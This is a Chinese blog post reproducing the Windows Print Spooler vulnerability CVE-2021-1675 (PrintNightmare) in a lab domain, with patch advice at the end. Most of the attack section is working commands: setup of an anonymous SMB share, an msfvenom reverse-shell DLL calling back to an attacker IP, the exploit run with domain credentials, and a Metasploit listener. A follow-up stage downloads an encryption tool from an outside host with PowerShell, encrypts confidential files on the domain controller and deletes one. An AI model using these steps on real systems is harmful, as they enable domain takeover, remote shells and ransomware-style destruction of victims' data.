【技术分享】cve-2021-1675-windows提权复现以及详细分析

1、漏洞描述

        Windows Print SpoolerWindows的打印机后台处理程序,广泛的应用于各种内网中。近期安全研究人员在Github公布了Windows PrintSpooler远程代码执行漏洞POC。攻击者可以通过该漏洞绕过PfcAddPrinterDriver的安全验证,并在打印服务器中安装恶意的驱动程序,若攻击者所控制的用户在域中,则攻击者可以连接到DC中的Spooler服务,并利用该漏洞在DC中安装恶意的驱动程序,完整的控制整个域环境。

Github公布的地址:https://github.com/afwu/PrintNightmare

2、漏洞准备

        这里我们使用python版本的poc

        地址:https://github.com/cube0x0/CVE-2021-1675

        环境:win10、win server 2016(域控)

        首先创建一个可以允许匿名访问的smb

        创建时使用powershell

  • mkdir C:\share
  • icacls C:\share\ /T /grant Anonymous` logon:r
  • icacls C:\share\ /T /grant Everyone:r
  • New-SmbShare -Path C:\share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone'
  • REG ADD"HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f #This will overwrite existingNullSessionPipes
  • REG ADD"HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d share /f
  • REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
  • REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v      RestrictAnonymous /t REG_DWORD /d 0 /f

搭建域控:

https://jingyan.baidu.com/article/48206aeab66f75216ad6b3b6.html

加入域:(dns服务器必须是域控服务器地址)

https://jingyan.baidu.com/article/4d58d54112adc29dd5e9c053.html

利用前提:

拥有域用户:密码

一台域控

一台攻击机

步骤

  • 攻击机搭建smb共享服务器(vim  /etc/samba/smb.conf)sudo  service smbd start

[global]

workgroup = workgroup

server string = test

netbios name = MZ

security = user

map to guest = Bad User

smb ports = 445

log file = /var/log/samba/log.%m

max log size = 5

[smb]

comment = Samba

browseable = yes

writeable = yes

public = yes

path = /tmp/

read only = no

guest ok = yes

  • 生成恶意dll进行远控

msfvenom -p windows/x64/shell_reverse_tcp lhost=192.168.111.131  lport=4444  -f dll -o reverse.dll

使用脚本进行加载恶意dll

python3  CVE-2021-1675.py    test:30wish@2020.@192.168.111.135    '\\192.168.111.131\smb\reverse.dll' 

侦听4444端口,反弹shell控制成功

use exploit/multi/handler

set payload windows/x64/shell_reverse_tcp

set lhost 192.168.111.131

run

找到核心文件路径,然后使用powershell进行远程下载加密工具

$client = new-object System.Net.WebClient

$client.DownloadFile('http://192.168.29.107/jiami.exe','C:\data\jiami.exe')

最后成功对域服务器的密件进行加密

使用powershell进行删除文件

del 关于做好xxx工作的通知【密件】.pdf

修复建议:

  • 若相关用户暂时无法进行补丁更新,可通过禁用Print Spooler服务来进行缓解:
    一:在服务应用(services.msc)中找到Print Spooler服务。
  • 目前微软官方已针对支持的系统版本发布了修复该漏洞的安全补丁,强烈建议受影响用户尽快安装补丁进行防护,官方下载链接:
    https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-1675
    注:由于网络问题、计算机环境问题等原因,Windows Update的补丁更新可能出现失败。用户在安装补丁后,应及时检查补丁是否成功更新。
    右键点击Windows图标,选择“设置(N)”,选择“更新和安全”-“Windows更新”,查看该页面上的提示信息,也可点击“查看更新历史记录”查看历史更新情况。
    针对未成功安装的更新,可点击更新名称跳转到微软官方下载页面,建议用户点击该页面上的链接,转到“Microsoft更新目录”网站下载独立程序包并安装。

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值